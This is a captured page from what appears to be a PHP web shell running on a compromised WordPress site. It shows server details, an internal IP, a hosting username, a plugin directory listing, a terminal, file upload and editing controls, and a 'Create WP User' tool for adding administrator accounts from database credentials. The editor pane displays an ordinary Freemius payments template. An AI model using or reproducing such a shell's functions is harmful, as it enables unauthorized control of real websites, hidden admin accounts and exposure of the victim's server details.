Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
www
/
wordpress
/
wpn_budomat
/
wp-content
/
plugins
/
gutenslider
/
freemius
/
templates
/
account
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
partials
[目录]
drwxr-xr-x
2021-03-21 18:24
billing.php
12.96 KB
-rw-r--r--
2021-04-01 20:10
index.php
87.00 B
-rw-r--r--
2021-04-01 20:10
payments.php
1.75 KB
-rw-r--r--
2021-04-01 20:10
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
payments.php
<?php /** * @package Freemius * @copyright Copyright (c) 2016, Freemius, Inc. * @license https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3 * @since 1.2.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * @var array $VARS * @var Freemius $fs */ $fs = freemius( $VARS['id'] ); $slug = $fs->get_slug(); $payments = $fs->_fetch_payments(); $show_payments = ( is_array( $payments ) && 0 < count( $payments ) ); if ( $show_payments ) : ?> <div class="postbox"> <div id="fs_payments"> <h3><span class="dashicons dashicons-paperclip"></span> <?php fs_esc_html_echo_inline( 'Payments', 'payments', $slug ) ?></h3> <div class="inside"> <table class="widefat"> <thead> <tr> <th><?php fs_esc_html_echo_inline( 'ID', 'id', $slug ) ?></th> <th><?php fs_esc_html_echo_inline( 'Date', 'date', $slug ) ?></th> <th><?php fs_esc_html_echo_inline( 'Amount', 'amount', $slug ) ?></th> <th><?php fs_esc_html_echo_inline( 'Invoice', 'invoice', $slug ) ?></th> </tr> </thead> <tbody> <?php $odd = true ?> <?php foreach ( $payments as $payment ) : ?> <tr<?php echo $odd ? ' class="alternate"' : '' ?>> <td><?php echo $payment->id ?></td> <td><?php echo date( 'M j, Y', strtotime( $payment->created ) ) ?></td> <td><?php echo $payment->formatted_gross() ?></td> <td><?php if (! $payment->is_migrated() ) : ?><a href="<?php echo $fs->_get_invoice_api_url( $payment->id ) ?>" class="button button-small" target="_blank" rel="noopener"><?php fs_esc_html_echo_inline( 'Invoice', 'invoice', $slug ) ?></a><?php endif ?></td> </tr> <?php $odd = ! $odd; endforeach ?> </tbody> </table> </div> </div> </div> <?php endif;
关闭
保存